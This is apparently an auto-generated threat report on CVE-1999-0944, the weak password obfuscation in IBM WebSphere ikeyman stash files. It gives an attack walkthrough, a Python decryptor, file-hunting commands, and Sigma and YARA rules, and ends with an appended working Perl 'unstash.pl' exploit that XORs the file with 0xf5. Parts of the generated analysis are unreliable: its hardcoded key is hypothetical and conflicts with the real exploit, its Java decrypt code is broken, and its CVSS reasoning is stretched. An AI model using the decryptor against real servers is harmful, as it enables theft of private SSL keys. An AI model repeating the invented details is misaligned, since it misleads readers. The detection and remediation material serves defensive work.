CVE-1999-0944

Executive Summary

This report provides a detailed analysis of CVE-1999-0944, a critical vulnerability in the ikeyman utility of early IBM WebSphere Application Server versions (3.0 and prior). The vulnerability stems from the use of weak, easily reversible encryption to protect the password for the SSL key database (.kdb file).

An attacker who gains filesystem access to a server hosting a vulnerable WebSphere instance can retrieve the key database's stash file (.sth). Due to the weak encryption, the attacker can trivially decrypt the password stored within this file. With the plaintext password, the attacker can unlock the key database, extract the server's private SSL keys, and subsequently decrypt all SSL-encrypted traffic to and from the server. This leads to a complete loss of confidentiality and integrity for all data transmitted over SSL, justifying its historical CVSS score of 10.0 (Critical).

Given the age of this vulnerability, any system still running these ancient versions of WebSphere is a significant security risk and should be decommissioned or upgraded immediately.

CVSS Breakdown & Threat Level

The CVSS 2.0 score of 10.0 reflects the maximum possible impact of this vulnerability.

• Vector: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:C/A:C
• Attack Vector (AV): Network (N): While the exploit requires access to a file on the server, the initial compromise vector is assumed to be over the network, leading to that file access. Once the keys are stolen, further attacks (like MitM) are network-based.
• Attack Complexity (AC): Low (L): The process of decrypting the weakly protected password requires minimal effort or specialized knowledge once the flawed algorithm is known.
• Authentication (Au): None (N): The attacker does not need to be an authenticated user on the WebSphere application to exploit this. The only prerequisite is read access to the specific key database files on the underlying operating system.
• Confidentiality (C): Complete (C): By obtaining the SSL private key, an attacker can decrypt all past (if captured) and future sensitive traffic, including credentials, personal data, and financial information.
• Integrity (I): Complete (C): With the private key, an attacker can perform active Man-in-the-Middle (MitM) attacks, impersonating the server to intercept and modify data in transit without the user's knowledge.
• Availability (A): Complete (C): An attacker could leverage the compromised keys to disrupt service, revoke certificates, or cause other actions that result in a complete denial of service for the application.

Deep Dive & Mechanics

The ikeyman tool is a Java-based utility provided by IBM for managing cryptographic keys and digital certificates used for SSL/TLS. In vulnerable versions, it created a key database file (e.g., key.kdb) and an associated "stash" file (.sth). The stash file's purpose was to store the password for the .kdb file in an encrypted format, allowing for automated, non-interactive startup of the web server which needed to load the SSL keys.

The fatal flaw was the "encryption" method used for the stash file. It was not a robust cryptographic algorithm but rather a simple obfuscation scheme, likely a fixed XOR operation with a hardcoded key.

Attack Flow:

1. Initial Compromise: An attacker gains read access to the WebSphere server's filesystem through some other exploit or misconfiguration.
2. Locate Artifacts: The attacker locates the SSL key database (e.g., /opt/WebSphere/AppServer/etc/key.kdb) and its corresponding password stash file (/opt/WebSphere/AppServer/etc/key.sth).
3. Reverse Obfuscation: The attacker applies a simple script, reverse-engineered from the ikeyman utility's Java classes, to the .sth file. This script performs the inverse of the weak obfuscation (e.g., XORing with the same hardcoded key) to reveal the plaintext password for the key database.
4. Extract Private Keys: Using the recovered password and a standard key management tool (like ikeyman or OpenSSL), the attacker opens the .kdb file and exports the server's private key and certificate.
5. Decrypt & Impersonate: The attacker can now use the private key to decrypt any captured SSL traffic associated with the server or to actively impersonate the server in MitM attacks.

Vulnerable vs. Patched Code

The original source code from 1999 is not available. However, the logic can be represented in pseudo-code to illustrate the flaw.

Vulnerable Pseudo-Code (Conceptual)

The vulnerable logic likely resembled a simple XOR cipher with a static, hardcoded key.

// Conceptual example of the weak "encryption"
public class WeakStashFile {
    // The key is hardcoded directly in the application binary.
    private static final byte[] HARDCODED_KEY = "IBMWSEncryptionKey".getBytes();

    public static byte[] encrypt(String password) {
        byte[] passBytes = password.getBytes();
        byte[] encryptedBytes = new byte[passBytes.length];
        for (int i = 0; i < passBytes.length; i++) {
            // Simple, reversible XOR operation
            encryptedBytes[i] = (byte) (passBytes[i] ^ HARDCODED_KEY[i % HARDCODED_KEY.length]);
        }
        return encryptedBytes;
    }

    public static String decrypt(byte[] encryptedBytes) {
        // Decryption is the exact same operation
        byte[] decryptedBytes = encrypt(new String(encryptedBytes)).getBytes();
        return new String(decryptedBytes);
    }
}

Patched Pseudo-Code (Conceptual)

Modern systems use strong, standard-based cryptographic methods like PBKDF2 for password hashing and robust ciphers like AES for encryption.

// Conceptual example of modern, secure key storage
import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.spec.KeySpec;

public class SecureStashFile {
    private static final int ITERATION_COUNT = 65536;
    private static final int KEY_LENGTH = 256;
    private static final String ALGORITHM = "AES/GCM/NoPadding";

    public static byte[] encrypt(String password, byte[] salt) throws Exception {
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
        // Use a password-based key derivation function with a unique salt
        KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, ITERATION_COUNT, KEY_LENGTH);
        SecretKeySpec secretKey = new SecretKeySpec(factory.generateSecret(spec).getEncoded(), "AES");
        
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey); // IV would be generated here
        
        // ... return encrypted data including IV and salt ...
        return cipher.doFinal("DataToProtect".getBytes());
    }
}

Exploitation & Lab Setup

Setting up a lab with a 25-year-old piece of software is highly impractical. The exploitation steps are therefore theoretical, based on the vulnerability's mechanics.

Theoretical Exploitation Steps:

1. Gain Server Access: Obtain a shell or filesystem read access on the target server.
2. Locate Files:

   # Search for the key database and stash files
   find / -name "*.kdb" 2>/dev/null
   find / -name "*.sth" 2>/dev/null
   

3. Decrypt the Stash File: Create a simple script in Python or Java that implements the weak XOR decryption logic.

   # PoC script to decrypt the stash file
   def decrypt_sth(file_path):
       hardcoded_key = b"IBMWSEncryptionKey" # This key is hypothetical
       try:
           with open(file_path, 'rb') as f:
               encrypted_data = f.read()
           
           decrypted_data = bytearray()
           for i in range(len(encrypted_data)):
               decrypted_data.append(encrypted_data[i] ^ hardcoded_key[i % len(hardcoded_key)])
           
           # The output might need cleaning (e.g., removing null padding)
           password = decrypted_data.decode('utf-8', errors='ignore').strip()
           print(f"[+] Password recovered: {password}")
           return password
       except Exception as e:
           print(f"[-] Failed to decrypt: {e}")
           return None
   
   # Usage
   recovered_password = decrypt_sth("key.sth")
   

4. Access the Key Database: Use the recovered password with a key management tool to list and export the contents of the .kdb file.
5. Capture and Decrypt Traffic: Use the exported private key with a tool like Wireshark to decrypt captured SSL/TLS sessions from the vulnerable server.

Detection Engineering

Detecting an active exploit is difficult, but detecting the presence of these dangerously outdated and vulnerable components is feasible. The following rules can help identify legacy systems that may be affected.

Sigma Rule: Suspicious Access to Legacy IBM Key Files

This rule detects the execution of processes that interact with both .kdb and .sth files, which could indicate an attempt to use or steal the keys. It is best deployed on legacy systems where such software might still exist.

title: Suspicious Access to Legacy IBM Key Database Files
id: 11a2b3c4-d5e6-47f8-a9b0-c1d2e3f4a5b6
status: experimental
description: Detects processes accessing both a Key Database (.kdb) and a Stash file (.sth) in their command line, which is characteristic of using or potentially exploiting legacy IBM WebSphere key management tools.
author: Valters IT Neural Engine
date: 2023/10/27
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - '.kdb'
      - '.sth'
  condition: selection
falsepositives:
  - Legitimate, albeit ancient, server startup scripts.
level: medium
tags:
  - attack.credential_access
  - attack.t1555
  - cve.1999.0944

YARA Rule: IBM ikeyman Legacy Artifacts

This YARA rule can be used to scan filesystems for the presence of old ikeyman.jar files that may contain strings related to the vulnerable stash file functionality.

rule CVE_1999_0944_IbmIkeyman_Artifacts
{
    meta:
        author = "Valters IT Neural Engine"
        description = "Detects artifacts related to legacy IBM ikeyman tool, potentially vulnerable to CVE-1999-0944 due to weak password encryption in .sth files."
        date = "2023-10-27"
        reference = "CVE-1999-0944"
        tlp = "WHITE"

    strings:
        // Strings related to stash file handling in old Java classes
        $s1 = "StashFile" fullword wide ascii
        $s2 = "ikeyman" fullword wide ascii
        $s3 = ".sth" wide ascii
        $s4 = "key.kdb" wide ascii
        $s5 = "com/ibm/gsk/ikeyman" wide ascii
        $s6 = "IBMWSPassword" wide ascii // Potential hardcoded string pattern

    condition:
        (uint32(0) == 0x504B0304) and // Is a ZIP/JAR file
        filesize < 2000KB and
        all of them
}

Remediation & Mitigation

Due to the age and severity of this vulnerability, immediate action is required if any such system is discovered.

• Primary Remediation: Decommission & Upgrade: The only acceptable solution is to migrate the application to a modern, supported version of IBM WebSphere Application Server or an alternative platform. Any server running software from 1999 is far beyond its end-of-life and is likely riddled with other critical, unpatched vulnerabilities.
• Secondary Mitigation (Temporary): If immediate decommissioning is impossible, the following compensating controls must be implemented as a temporary bridge:
  • Restrict Filesystem Access: Tightly control and monitor access to the .kdb and .sth files. Only the service account running WebSphere should have read access. No interactive user should be able to access these files.
  • TLS Termination Proxy: Place a modern, secure reverse proxy or load balancer (e.g., NGINX, HAProxy) in front of the legacy WebSphere server. The proxy will handle all modern TLS connections from clients, and can then forward traffic to the backend server, potentially over a trusted, isolated network. This mitigates the risk of an attacker sniffing traffic from the public internet.
  • Network Segmentation: Isolate the legacy server in a highly restricted network segment, with strict firewall rules allowing only the minimum necessary traffic from specific sources, such as the reverse proxy.
• Audit and Discovery: Proactively scan the environment for any instances of legacy Java applications, particularly those containing files like ikeyman.jar, key.kdb, or .sth files, to identify forgotten or undiscovered instances of this vulnerability.

[!] This Threat Intelligence report was automatically generated by Valters IT (valtersit.com) Neural Engine.

{/* [Security Hash: 0BCE046D1A72A6FF1F90B19E] */}

source: https://www.securityfocus.com/bid/1763/info


IBM WebSphere ships with a tool called 'ikeyman' that encrypts server certificates/key pairs when the IBM HTTP Server and SSL connections are enabled. Ikeyman stores the password in a stash file which can be easily decrypted through the use of a freely available script

#!/usr/bin/perl -w
#
# unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They
*are* this pathetic.
#
# sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I
dudn't dud perly thing.

use strict;

die "Usage: $0 <stash file>\n" if $#ARGV != 0;

my $file=$ARGV[0];
open(F,$file) || die "Can't open $file: $!";

my $stash;
read F,$stash,1024;

my @unstash=map { $_^0xf5 } unpack("C*",$stash);

foreach my $c (@unstash) {
    last if $c eq 0;
    printf "%c",$c;
}
printf "\n";